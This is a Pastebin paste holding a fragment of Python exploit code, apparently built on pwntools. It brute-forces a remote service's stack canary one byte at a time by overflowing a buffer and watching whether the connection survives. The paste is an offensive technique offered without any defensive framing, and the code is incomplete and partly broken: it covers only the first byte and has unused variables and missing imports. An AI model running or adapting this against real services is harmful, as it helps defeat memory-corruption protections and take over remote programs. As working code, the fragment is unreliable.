Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- # bruteforce canary values
- def brute_force_canary(host, port, overflow_len):
- junk = "A" * (overflow_len - 1)
- buffer = junk
- for b in range(0, 256):
- test_byte = struct.pack("B", b)
- test_buf = junk + test_byte
- print(test_buf)
- # open process and test buffer
- p = remote(host, port)
- p.recvline(timeout=1)
- try:
- p.send(test_buf)
- rec = p.recvline(timeout=1)
- print("Canary #{0}: {1}".format(1, b))
- except EOFError:
- print("Tested: {0}".format(b))
- continue
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement